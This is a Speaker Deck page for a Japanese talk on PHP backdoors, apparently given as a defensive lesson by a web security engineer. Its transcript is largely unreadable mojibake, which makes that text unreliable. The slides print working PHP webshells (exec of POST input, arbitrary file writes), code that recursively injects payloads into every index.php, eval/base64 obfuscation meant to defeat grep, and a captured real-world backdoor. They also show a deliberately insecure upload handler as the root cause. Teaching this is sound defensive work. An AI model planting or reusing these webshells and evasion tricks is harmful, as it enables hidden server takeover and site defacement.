Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
作って理解するバックドア
Search
Roku
March 23, 2023
Technology
2.2k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
作って理解するバックドア
Roku
March 23, 2023
More Decks by Roku
See All by Roku
Laravel のセキュリティはどうなってる?突撃ソースコードリーディング(PHPカンファレンス福岡2024)
ad5jp
1
1.5k
本当にあった怖い脆弱性の話
ad5jp
22
41k
Other Decks in Technology
See All in Technology
Essential architectural thinking (revised edition)
ufried
0
110
OSC2026on_the-world-is-waiting-for-your-voice.pdf
naruoga
0
360
AI時代のPRレビューにどう向き合うか?
kairim0
1
110
ai_cording_with_k8s_knowledge.pdf
mochizuki875
1
320
検証フェーズはAIの回答を判断するための学習機会
toru_kubota
2
540
生成AIを使って「人が」考える技術 ― AI時代の人機共想と実践ノウハウ|UNITT AC2026
ishiirikie
0
570
不可逆な意思決定を避けながら10億超の顧客データを AI Ready にするデータ基盤設計
baseballyama
1
230
「事実」を「計測」して、「解釈」する 〜AWS Lambdaのメモリ最適解の見つけ方〜
maimyyym
0
120
味覇で作るパスタが美味い - 20261001_yabaubuki.dev
livesense
PRO
0
110
全人類(ほぼ)AWS Organizations の上でAWSを利用している、その世界を知る話
htan
1
130
AIに攻撃される前に、AIに攻撃させる
tsuchikazu
0
160
AgentCoreで実践するハーネスエンジニアリング
yakumo
1
290
Featured
See All Featured
Discover your Explorer Soul
emna__ayadi
2
1.3k
A Soul's Torment
seathinner
8
3.7k
Building the Perfect Custom Keyboard
takai
2
900
So, you think you're a good person
axbom
PRO
2
2.2k
Ecommerce SEO: The Keys for Success Now & Beyond - #SERPConf2024
aleyda
1
2.2k
Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation
inesmontani
PRO
3
2.4k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.8k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
31
2.9k
Why Mistakes Are the Best Teachers: Turning Failure into a Pathway for Growth
auna
0
320
Conquering PDFs: document understanding beyond plain text
inesmontani
PRO
4
3.2k
The Art of Programming - Codeland 2020
erikaheidi
57
14k
Effective software design: The role of men in debugging patriarchy in IT @ Voxxed Days AMS
baasie
1
550
Transcript
࡞ͬͯཧղ͢ΔόοΫυΞ -FU`T%*:
ࣗݾհ w גࣜձࣾ"%ද w ొ த ηΩεϖʢʙʣ w 1)1FS,BJHJొஃ
ʮຊʹ͋ͬͨා͍੬ऑੑͷʯ 3PLV !BEKQ
ຊΞʔΩςΫνϟͱ͔ ϢχοτςετΈ͍ͨͳ ΩϥΩϥ͕͍͚ͨͨ͠͠ΕͲɺ ಙ̋͞Μͷޙ佂తϙδγϣϯΛૂͬͯɺ ࠓճηΩϡϦςΟωλͰ͢ɻ
΄Ͳલͷ͓ w ,͞Μʮ3PLV͞ʔΜʂIUBDDFTT͕ফͤͳ͍ΜͰ͢ʢٽʣʯ w ʮʢ͋͋ɺύʔϛογϣϯ͔ͳʁʣͲ͜ͷαΠτͰ͔͢ʁʯ w ,͞ΜʮʓʓͰ͢ɻαΠτશମ͕ݟ͑ͳ͘ͳͬͯͯʢٽʣʯ w ʮʢϙνϙνʣɾɾɾ͋Εʁফͤ·ͨ͠Αʯ w
,͞ΜʮԿফ͓͖ͯ͠ʹ෮׆͢ΔΜͰ͢ʢྦʣʯ
ͦΕɺόοΫυΞͰ͢ɻ
ࠓճͷ༰ w όοΫυΞͷ֓ཁ w όοΫυΞͷ࡞Γํͱ࣮ྫ w όοΫυΞͷରࡦ
όοΫυΞͷ֓ཁ
࣮ԋ w ͋Δͱ͜ΖʹɺԿͷมͳ͍ϝʔϧϑΥʔϜ͕͋Γ·ͨ͠ɻ
࣮ԋ w ѱ͍ਓ͕ϑΝΠϧ͕͜ΜͳϑΝΠϧΛΞοϓϩʔυ͠·ͨ͠ɻ SFXSJUFJOEFYQIQ <?php $path = __DIR__
. '/../../../public/index.php'; $code = "<?php die('you have been hacked :)');"; file_put_contents($path, $code); die('success');
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w αΠτશମ͕͜͏ͳΓ·ͨ͠ɻ
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w ͬͱλνѱ͍ͭɻ <?php $path = __DIR__ . '/../../../public/index.php'; $code
= "<?php header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w యܕతʹ͜Εɻ <?php file_put_contents($_POST['path'], $_POST['code']); <?php exec($_POST['command']);
͜ΜͳϑΝΠϧΛΞοϓϩʔυ͞ΕͨΒ w ୈࡾऀ͕αʔόΛࣗ༝ʹૢ࡞Ͱ͖Δͷͱಉ͡ ʹαʔόͷཪޱʢόοΫυΞʣ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕʢ·ͱΊʣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ɺ੬ऑੑΛ௨ͯ͡αʔόʹஔ͔ΕΔ ˣ w ओతͰ͋Δվ͟ΜΛߦ͍ͭͭɺ ୈ̎ɼୈ̏ͷ߈ܸ༻ϑΝΠϧΛผͷॴʹஔ͘ɻ
ˣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ۦআ͞Εͯɺୈ̎ɺୈ̏ͷ ߈ܸ༻ϑΝΠϧʹΑΓɺվ͟ΜΛ܁Γฦ͢ɻ
ͭ·ΓόοΫυΞ w੬ऑੑͦͷͷͰͳ͘ɺ ߈ܸతͦͷͷͰͳ͍ɻ wҰޭͨ͠߈ܸΛܧଓతʹߦ͍͘͢ɺ ·ͨۦআ͠ʹ͘͘͢ΔͨΊͷதؒखஈɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
߈ܸͷओత ΤϯτϦʔϙΠϯτ JOEFYQIQ IUBDDFTTΛվ͟Μ͠ɺ w ϢʔβΛ߈ܸऀͷαΠτʹඈ͢ɻ w ةݥͳϑΝΠϧΛμϯϩʔυͤ͞Δɻ w %%P4߈ܸͷ౿Έʹ͢Δɻ
w FOWͷใΛൈ͖औΔɻ w ηογϣϯ͔ΒϢʔβͷൿີใΛൈ͖औΔɻ
όοΫυΞͷ࡞Γํ
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success'); ͜Μͳվ͟ΜͳΒ·ͩϚγɻ
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code);
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code); ཧऀ։ൃऀ͕ؾ͔ͮͳ͍͏ͪʹɺ ৽ن๚ऀ͚͕ͩඈ͞Εଓ͚Δɻ
͜ΜͳύεܾΊଧͪͷ߈ܸ ͨΔΘ͚ͶʔͩΖ͆͆͆
HMPC Λͬͯ૯ͨΓ <?php function prepend($path) { $code .= file_get_contents($path, “…߈ܸ༻ίʔυ…”);
file_put_contents($path, $code); } function prependRecursive($path) { if (file_exists("{$path}/index.php")) { prepend("{$path}/index.php"); } foreach (glob("{$path}/*") as $child) { if (is_dir($child)) { prependRecursive($child); } } } prependRecursive($_SERVER["DOCUMENT_ROOT"]);
ൃݟ͞Εʹ͍͘ϑΝΠϧΛૂ͏ w ϑϨʔϜϫʔΫʹඞͣଘࡏ͢ΔϑΝΠϧΛվ͟Μ ྫʣQVCMJDJOEFYQIQ w ϑϨʔϜϫʔΫʹ͍͔ʹ͋Γͦ͏ͳ໊લͷϑΝΠϧΛઃஔ ྫʣMPBEQIQ
MPDBMFQIQ w HJUJHOPSF͞Ε͍ͯΔσΟϨΫτϦʹϑΝΠϧΛઃஔ ྫʣTUPSBHFQVCMJD
8PSE1SFTTͳΒɾɾɾ w XQBENJOXQJODMVEFTͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w XQDPOUFOUQMVHJOTYYYͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w
XQDPOUFOUVQMPBETʹϑΝΠϧΛઃஔ
GJMF@QVU@DPOUFOU ͱ͔ GXSJUF ͱ͔ͰHSFQͨ͠Β ۦআͰ͖ΔΜ͡ΌͶʁ
ྫ͑͜ͷίʔυ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code);
͜͏ͯ͠ <?php eval("$path = __DIR__ . '/../../../public/index.php'; $code = \"<?php
header('Location: https://ad5.jp'); \";file_put_contents($path, $code)");
͜͏͢Δͱ <?php eval(base64_decode("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8 uLi9wdWJsaWMvaW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZG VyKCdMb2NhdGlvbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1d F9jb250ZW50cygkcGF0aCwgJGNvZGUp"));
GJMF@QVU@DPOUFOU ফ͑·ͨ͠ɻ
͡Ό͋ɺFWBM ͱ͔ CBTF@EFDPEF Ͱ HSFQ͢Ε͍͍Μ͡ΌͶʁ
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $a = "eval"; $b = “base64_encode"; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl
vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $x = '0123456789abcdefghijklmnopqrstuvwxyz_'; $a = $x[14].$x[31].$x[10].$x[21]; $b =
$x[11].$x[10].$x[28].$x[14].$x[6].$x[4].$x[36]. $x[13].$x[14].$x[12].$x[24].$x[13].$x[14]; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
ίʔυ͔ΒҰͷ ͕ؔফ͑·ͨ͠
HSFQແཧͰ͢ɻ
˞͓அΓ w ઌఔͷίʔυ̍ӕ͕͋Γ·͢ɻ FWBMؔͰͳ͘ݴޠߏͷͨΊɺ ಈ͖·ͤΜɻ w
࣮ࡍͷஈͷಡԽʹɺ DSFBUF@GVODUJPO ؔ 1)1 ͕ΘΕ͍ͯΔͷ͕ ଟ͘ݟΒΕ·ͨ͠ɻ $a = "eval"; $a();
࣮ࡍʹ࠾ूͨ͠όοΫυΞ MPDBMFQIQ ˞ CZUF <?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/ 0i9tvf_”76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)]. $tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)]. $tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].
$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)]. $tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))]. $tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65- (62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)]; $pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)]. $tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)]; $MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)]. $tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)]. $tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))]. …ུ…
ղಡ͢Δͱ͜͏ͳͬͯͨɻ <?php $x=“‘7RxrU9tI8jP8CqGiIvtWyCYJSRYwgSTO4y4BziZ3l98Q…ུ…“; $a=base64_decode($x); $b=gzinflate($a); eval($b);
EFDPEF͢Δͱɻ <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt =
0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ …ུ…
MPDBMFQIQͷಛ w (PPHMFʹِͷαΠτϚοϓΛૹ͍ͬͯΔɻ ˠ4FBSDI$POTPMFݕࡧ݁ՌͷΞϥʔτʹΑΓɺ ɹӡӦऀϢʔβʹؾ͔ͮΕΔͷΛ͙ͨΊɻ w $44ը૾ͷೖͬͨσΟϨΫτϦΛૂ͍ͬͯΔɻ w
ϑΝΠϧʹॻ͖ࠐΉ༰Λ֎෦63-͔Βऔಘ͍ͯ͠Δɻ ˠ͓ͦΒ͘߈ܸऀͷ࢘ྩ༻αʔόɻ͜ͷ༰Λมߋ͢Δ͜ͱͰ ɹ߈ܸ༻ϑΝΠϧΛมߋͤͣͱɺ߈ܸ༰Λม͑ΒΕΔɻ
શจ͓Αͼଞͷαϯϓϧͪ͜Β͔ΒͲ͏ͧ HJUIVCDPNBEKQQIQFSLBJHJ
όοΫυΞͷରࡦ
ઃஔ͞Εͳ͍Α͏ʹ͢Δɻ
Ҏ্ɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ ࠓ͜Εʹߜ͓ͬͯ͠·͢ɻ
࣮ԋʹ༻͓͍ͨ͠߹ΘͤϑΥʔϜ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); chmod($saving_path, 0755); $data['file_name'] = $_FILES['file']['name']; $data['file_url'] = url('storage/', $_FILES['file']['name']); session()->put('inquiry', $data); return redirect()->route('confirm'); }
ྲྀੴʹ͜Μͳ࣮͢Δਓ ͍ͳ͍ͱࢥ͍·͕͢ɾɾɾ
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } ͔݁Βݴ͑ɺ΄ͱΜͲͷ݅ԼͰηʔϑͰ͢ɻ Կނηʔϑͳͷ͔ɺͲ͏͍͏݅ԼͰةݥͳͷ͔ɺ ͑ΒΕ·͔͢ʁ
ͳͥ͜Μͳ͜ͱΛ㘤͘ͷ͔ɻ w୭ɺ੬ऑੑΛ࡞Ζ͏ͱࢥͬͯ࡞͍ͬͯͳ͍ɻ w࣮ࡍͷϓϩμΫτͷ༷ෳࡶͰɺ ίʔυෳࡶʹೖΓΜͰ͍Δɻ ͦͷ݁Ռɺ͕ൃੜ͢Δ͕݅ͨ·ͨ·ἧͬͯ͠·͍ɺ ੬ऑੑ͕ੜ·Εͯ͠·͏ɻ wਖ਼֬ͳཧղ͕ॏཁɻ
߈ܸͷཱ݅ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ
ཱ݅ͱରࡦ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ˠ.JNF5ZQFΛνΣοΫ͠ɺඞཁ࠷খݶͷछྨͷϑΝΠϧͷ ɹΞοϓϩʔυͷΈڐՄ͢Δɻ ɾɾɾཁ݅ʹΑͬͯ.JNF5ZQFͷ੍ݶ͕ࠔͳ߹͋Δɻ
ཱ݅ͱରࡦ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ˠΞοϓϩʔυϑΝΠϧΛඇެ։σΟϨΫτϦʹஔ͍ͯ ɹ͍Εɺ߈ܸʹ༻͞ΕΔ͜ͱͳ͍ɻ ɹ·ͨɺΞϓϦέʔγϣϯͷઃஔ͞Εͨ8FCαʔόͱผͷ ɹॴʹϑΝΠϧΛஔ͍͍ͯΕɺ߈ཱܸ͠ͳ͍ɻ
ɾɾɾ͜Εཁ݅࣍ୈͰ࣮ݱͰ͖ͳ͍߹ɻ ɹɹɹͦͦຊ࣭తରࡦͰͳ͍ɻ
ཱ݅ͱରࡦ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ ΑΓ۩ମతʹɺҎԼͷ̎݅ɻ "1)1$(*ͱͯ͠ղऍ͞ΕΔʢ࣮ߦ༻ͷϋϯυϥʹ ɹϚοϓ͞Ε͍ͯΔʣϑΝΠϧ໊Ͱอଘ͞ΕΔɻ #࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ
ཱ݅ͱରࡦ ᶅ"1)1$(*ͱͯ͠ղऍ͞ΕΔϑΝΠϧ໊Ͱอଘ͞ΕΔɻ Ұൠతʹɺ֦ுࢠ͕QIQͰͳ͚Εɺ1)1ͱ࣮ͯ͠ߦ͞ΕΔ ͜ͱͳ͍ɻ ʢ1)1ίʔυ͕ॻ͔Ε͍ͯͯɺ୯ͳΔςΩετϑΝΠϧ ɹͱͯ͠ѻΘΕΕແʣ ˞ୠ͠ɺ্ه8FCαʔόͷઃఆʹґଘ͢Δʢޙड़ʣɻ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } σϑΥϧτͰɺQIQϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ ֦ுࢠͳ͠ʹͳΔɻ
6QMPBEFE'JMFTUPSF ͷ࣮ 6QMPBEFE'JMFIBTI/BNF ʹΑΓϑΝΠϧ໊͕ܾఆ͞ΕΔɻ ֦ுࢠɺ'JMFHVFTT&YUFOUJPO ʹΑܾͬͯΊΒΕΔɻ 1)1ϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ.JNF5ZQF
UFYUYQIQͱͳΓɺ.JNF5ZQF."1ͷఆٛʹै͍ɺ ֦ுࢠͳ͠Ͱ֨ೲ͞ΕΔɻ 6QMPBEFE'JMFʜ*MMVNJOBUFa)UUQa6QMPBEFE'JMF 'JMFʜ4ZNGPOZa$PNQPOFOUa)UUQ'PVOEBUJPOa'JMFa'JMF .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
ྫ֎ ͨͩ͠ɺ͜ͷڍಈɺ.JNF5ZQFEFGBVMUΛηοτ͢Δ͜ͱ ͰมߋՄೳͰ͋Δɻ ੩తϓϩύςΟͰ͋ΔͨΊɺྫ͑4FSWJDF1SPWJEFSͰ ηοτ͍ͯ͠ΕɺΞϓϦέʔγϣϯશମʹӨڹ͕ٴͿɻ .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
͜Μͳ࣮ɺΓ͕ͪɻ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $filename = Carbon::now()->format(‘Ymd_His.') . $uploaded_file->getClientOriginalExtension(); $path = $uploaded_file->storePubliclyAs('upload', $filename , ['disk' => 'public']); //ུ } ϑΝΠϧ໊ʹ*%ͷϧʔϧΛ࣋ͨͤͯอଘ͢Δ߹ɻ HFU$MJFOU0SJHJOBM&YUFOTJPO ΑΓHVFTT&YUFOUJPO
ͦͦ ྫ͑"QBDIFͷ߹ɺIUUQEDPOGIUBDDFTTʹ ͷΑ͏ʹهड़͞Ε͍ͯΕɺ֦ுࢠIUNMͰΞτɻ ཧ্ɺઃఆ࣍ୈͰɺ͋ΒΏΔ໊લͷϑΝΠϧ͕1)1ͱͯ͠ ࣮ߦՄೳͰ͋Δɻ 8FCαʔόͷઃఆʹґଘ͖͢Ͱͳ͍ɻ AddHandler php-script .php
.html
ཱ݅ͱରࡦ ᶅ#࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ 1)1ʹΑͬͯઃஔ͞ΕͨϑΝΠϧͷॴ༗ऀɺ௨ৗ1)1ͷ࣮ߦ ϢʔβͰ͋ΔͨΊɺॴ༗ऀͷ࣮ߦݖݶ͕͋ΕΞτɻ ˠSXYSXYSXYˠΞτ ˠSXSXSXˠηʔϑ ˠSXYSYSYˠΞτ
ˠSXSSˠηʔϑ ˠSXYˠΞτ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
6QMPBEFE'JMFTUPSF ͷ࣮ ιʔείʔυϦʔσΟϯάׂѪ͠·͕͢ɾɾɾ ઃఆϑΝΠϧDPO fi H fi MFTZTUFNTQIQ ͷEJTLTQVCMJDQFSNJTTJPOTͷઃఆʹґଘ͠·͢ɻ
σϑΥϧτͰɺσΟϨΫτϦ·ͨʹɺ ϑΝΠϧ·ͨʹͳ͍ͬͯ·͢ɻ ˠ͜ͷઃఆΛมߋ͍ͯ͠ͳ͍ݶΓɺ ɹલड़ͷίʔυύʔϛογϣϯʹͳΓ·͢ɻ
ͪΖΜɺ ࣗྗͰDINPE QBUI ͱ͔ͯͨ͠ΒΞτͰ͢ɻ TUPSBHFϑΥϧμύʔϛογϣϯʹ͢͠ɺ ͱ͍͏ޡͬͨղઆΛɺ͞ΒʹऔΓҧ͑ͯɺ ϑΝΠϧอଘޙʹɺΘ͟Θ͟ύʔϛογϣϯʹ
มߋ͍ͯ͠Δ࣮ɺݟͨ͜ͱ͋Γ·͢ɻɻɻ
ͪͳΈʹ͜ͷ߹ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); //ུ } ύʔϛογϣϯͲ͏ͳΔ͔ɺ͑ΒΕ·͔͢ʁ
GJMF@QVU@DPOUFOU ͷύʔϛογϣϯ w 04ͷઃఆʢVNBTLʣʹґଘ͠·͢ɻ ଟ͘ͷڥͰɺσΟϨΫτϦ ·ͨ ɺ ϑΝΠϧ
·ͨ Ͱ͢ɻ w 04ͷઃఆʹґଘ͖͢Ͱͳ͘ɺΞϓϦέʔγϣϯͰ ໌ࣔతʹରॲ͖͢Ͱ͢ɻ
·ͱΊʢ$8&ͷରࡦʣ w ཁٻ্༷ՄೳͳΒɺΞοϓϩʔυՄೳͳϑΝΠϧΛ .JNF5ZQFͰඞཁ࠷খݶͷͷͷΈʹ੍ݶ͢Δɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳύʔϛογϣϯʹɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳϑΝΠϧ໊ʹɻ w
-BSBWFMͷ6QMPBEFE'JMFTUPSF Ͱ͑͞ɺ ͍͔ͭ͘ͷ͕݅ॏͳΕةݥͳ࣮ʹͳΔɻ
αʔυύʔςΟϥΠϒϥϦཁҙ w +7/%# 8PSE1SFTT༻DPOUBDUGPSNϓϥάΠϯʹ͓͚Δةݥͳλ ΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυʹؔ͢Δ੬ऑੑ w +7/%# .PWBCMF5ZQFͷ9.-31$"1*ʹ͓͚Δ04ίϚϯυΠϯδ
ΣΫγϣϯͷ੬ऑੑ ˠͲͪΒɺେྔͷόοΫυΞඃΛൃੜͤ͞·ͨ͠ɻ
͏ͪ8PSE1SFTT Θͳ͍͔Βେৎʁ
օ͞Μͷ͓٬༷ͷଟ͕͘ɺ w ڪΒ͘8PSE1SFTTΛ༻͍ͯ͠·͢ɻ w ࣗࣾͷೲอकରͰͳ͘ͱɺ ͍͟ࠔͬͨΒօ͞Μʹ૬ஊ͕དྷΔͣͰ͢ɻ w ର؛ͷՐࣄͰͳ͘ɺҙשى͍͖ͯ͠·͠ΐ͏ɻ
ͦͯ͠ͳʹΑΓɺ w όοΫυΞͷଟ͕͘1)1Ͱॻ͔Ε͍ͯ·͢ɻ w1)1FSͱͯ͠ɺաͰ͖·ͤΜɻ
όοΫυΞΛઃஔ͞Εͯ ͠·ͬͨΒ
جຊํ w લड़ͷͱ͓ΓɺશۦআۃΊ͍ͯ͠Ͱ͢ɻ w ·ͣɺࠜຊݪҼͱͳΔ੬ऑੑΛಛఆ͠ɺഉআ͢Δɻ w ͦͷޙɺผͷαʔόΛཱͯɺ "߈ܸΛड͚ΔલͷόοΫΞοϓ͔ΒϦετΞ͢Δɻ
#ࢹ֬ೝ͠ͳ͕Βɺ࣮֬ʹ҆શͳϑΝΠϧͷΈΛҠߦɻ
ઈࠎ͕ંΕΔ্ɺ શ͘ੜ࢈ੑͷͳ͍࡞ۀͳͷͰɺ ࢮʹͨ͘ͳΓ·͢ɻ
ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ฐ্࢙ࣾ൪࠷ѱͩͬͨόοΫυΞରԠ w 8FC੍࡞ձࣾ͞Μ͔Βٽ͖͔ͭΕͯɺରԠɻ w Ҏ্ͷαΠτ͕ɺϨϯαόͷϚϧνυϝΠϯͰ ӡ༻͞Ε͓ͯΓɺಓ࿈Εඃɻ ˠҕୗݩ͔ΒΫϨʔϜͷཛྷɻ
ˠݪҼಛఆࣗମ͕ۃΊͯߤɻ ˠϦετΞҠඇݱ࣮తɻ w શղܾʹϲ݄ۙ͘Λཁͨ͠ɻ
͏Ұݴ͍·͢ɻ ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ձࣾհ IUUQTBEKQ w େࡕͷडୗϕϯμʔͰ͢ɻ w Θ͍Θ͍ΨϠΨϠͬͯΔձࣾͰ͢ɻ w ΤϯδχΞਵ࣌ืूதɻ